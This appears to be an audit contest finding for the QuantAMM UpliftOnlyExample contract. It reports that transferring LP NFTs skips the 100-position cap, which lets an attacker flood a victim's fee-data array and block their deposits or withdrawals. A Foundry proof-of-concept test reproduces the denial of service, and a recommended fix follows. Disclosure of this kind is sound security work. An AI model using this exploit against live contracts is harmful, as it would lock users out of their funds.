QuantAMM
QuantAMM
49,600 OP
View results
Previous Next
Submission Details
Severity: medium
Valid

DOS possible through direct LP NFT transfer to user

greese

Summary

In UpliftOnlyExample users are restricted to a maximum of 100 positions within a certain pool. This is to prevent users from potentially running out of gas when completing an action such as removing liquidity. The fee data from all deposits is looped to decide the appropriate fee upon removal and could potentially run out of gas if the feeDataArray grows too large. The problem is that no check is in place for the afterUpdate hook that is called when a LP token is transferred to a user leaving no limit on the amount of LP positions an attacker could send to a user.

Vulnerability Details

When a user adds liquidity to a pool through addLiquidityProportional they mint a LP NFT to represent their position. Their fee data is also recorded in poolsFeeData for later fee calculations based on LP movement. That array has a maximum length of 100 to prevent accidental DOS to the user. An issue may arise however from the transfer of these LP NFTs to a new user. Within the _update function in the LPNFT contract there is a call to afterUpdate upon transfer of the NFT.

function _update(address to, uint256 tokenId, address auth) internal override returns (address previousOwner) {
previousOwner = super._update(to, tokenId, auth);
//_update is called during mint, burn and transfer. This functionality is only for transfer
if (to != address(0) && previousOwner != address(0)) {
//if transfering the record in the vault needs to be changed to reflect the change in ownership
router.afterUpdate(previousOwner, to, tokenId);
}
}

If we take a look inside this function, one of the things it does is update poolsFeeData with the fee data of the NFT being transferred to the new user.

if (tokenIdIndexFound) {
if (_to != address(0)) {
// Update the deposit value to the current value of the pool in base currency (e.g. USD) and the block index to the current block number
//vault.transferLPTokens(_from, _to, feeDataArray[i].amount);
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
​
//actual transfer not a afterTokenTransfer caused by a burn
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
​
if (tokenIdIndex != feeDataArrayLength - 1) {
//Reordering the entire array could be expensive but it is the only way to keep true FILO
for (uint i = tokenIdIndex + 1; i < feeDataArrayLength; i++) {
delete feeDataArray[i - 1];
feeDataArray[i - 1] = feeDataArray[i];
}
}
​
delete feeDataArray[feeDataArrayLength - 1];
feeDataArray.pop();
}
}

The issue here is there is no check to make sure the user receiving this NFT has 100 or less positions in this pool. An attacker could easily create hundreds of dust LP positions across different wallets and send them to one user, completely blocking them from ever adding liquidity to this pool. If the user already had a position in this LP, they could also send them hundreds of NFTs so that the user would run out of gas when trying to remove their position. This can happen because all of the pool fee data is looped through to calculate fees as seen in onAfterRemoveLiquidity

POC

Add the following test to UpliftOnlyExample.t.sol and run forge test --match-test testTransferBypassesMaxPositions -vv

function testTransferBypassesMaxPositions() public {
// Setup: Create initial attacker
address attacker = vm.addr(100);
// Fund attacker
deal(address(dai), attacker, dai.balanceOf(bob));
deal(address(usdc), attacker, usdc.balanceOf(bob));
// Approve tokens for attacker
vm.startPrank(attacker);
dai.approve(address(permit2), type(uint256).max);
usdc.approve(address(permit2), type(uint256).max);
permit2.approve(address(dai), address(upliftOnlyRouter), type(uint160).max, type(uint48).max);
permit2.approve(address(usdc), address(upliftOnlyRouter), type(uint160).max, type(uint48).max);
vm.stopPrank();
​
// Create 100 positions (max allowed)
uint256[] memory maxAmountsIn = new uint256[]();
vm.startPrank(attacker);
for(uint j = 0; j < 100; j++) {
maxAmountsIn[0] = dai.balanceOf(attacker)/100;
maxAmountsIn[1] = usdc.balanceOf(attacker)/100;
upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
bptAmount/100,
false,
bytes("")
);
}
vm.stopPrank();
​
// Verify alice starts with 0 positions
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, alice).length, 0, "Alice should start with 0 positions");
​
// Direct transfer attempt to victim (alice)
LPNFT lpNft = upliftOnlyRouter.lpNFT();
vm.startPrank(attacker);
for(uint i = 1; i <= 100; i++) {
lpNft.transferFrom(attacker, alice, i);
}
vm.stopPrank();
​
// Verify alice now has over 100 positions
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, alice).length, 100, "Alice should now have 100 positions");
​
// Alice can keep receiving more from other attackers!
address attacker2 = vm.addr(101);
deal(address(dai), attacker2, dai.balanceOf(bob));
deal(address(usdc), attacker2, usdc.balanceOf(bob));
vm.startPrank(attacker2);
dai.approve(address(permit2), type(uint256).max);
usdc.approve(address(permit2), type(uint256).max);
permit2.approve(address(dai), address(upliftOnlyRouter), type(uint160).max, type(uint48).max);
permit2.approve(address(usdc), address(upliftOnlyRouter), type(uint160).max, type(uint48).max);
​
// Create another 100 positions
for(uint j = 0; j < 100; j++) {
maxAmountsIn[0] = dai.balanceOf(attacker2)/100;
maxAmountsIn[1] = usdc.balanceOf(attacker2)/100;
upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
bptAmount/100,
false,
bytes("")
);
}
​
// Transfer these to alice too
for(uint i = 101; i <= 200; i++) {
lpNft.transferFrom(attacker2, alice, i);
}
vm.stopPrank();
​
// Verify alice now has 200 positions!
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, alice).length, 200, "Alice should now have 200 positions");
​
// Now have alice try to add liquidity to the same pool
deal(address(dai), alice, dai.balanceOf(bob));
deal(address(usdc), alice, usdc.balanceOf(bob));
vm.startPrank(alice);
dai.approve(address(permit2), type(uint256).max);
usdc.approve(address(permit2), type(uint256).max);
permit2.approve(address(dai), address(upliftOnlyRouter), type(uint160).max, type(uint48).max);
permit2.approve(address(usdc), address(upliftOnlyRouter), type(uint160).max, type(uint48).max);
​
// Try to deposit - should revert since Alice already has over 100 positions from transfers
uint256[] memory aliceAmountsIn = new uint256[]();
aliceAmountsIn[0] = dai.balanceOf(alice)/10;
aliceAmountsIn[1] = usdc.balanceOf(alice)/10;
​
vm.expectRevert(abi.encodeWithSelector(UpliftOnlyExample.TooManyDeposits.selector, pool, alice));
upliftOnlyRouter.addLiquidityProportional(
pool,
aliceAmountsIn,
bptAmount/10,
false,
bytes("")
);
vm.stopPrank();
}

Impact

DOS to users trying to add or remove liquidity from pools

Tools Used

Manual Review

Recommendations

Add same check in place in afterUpdate to ensure a user cannot have more than 100 positions

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_does_not_check_limit_NFT_per_user

Likelihood: Medium/High, anyone can receive an unlimited NFT number but will cost creation of LP tokens and sending them. Impact: Low/Medium, DoS the afterUpdate and addLiquidityProportional but will be mitigable on-chain because a lot of those NFT can be burn easily in onAfterRemoveLiquidity.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!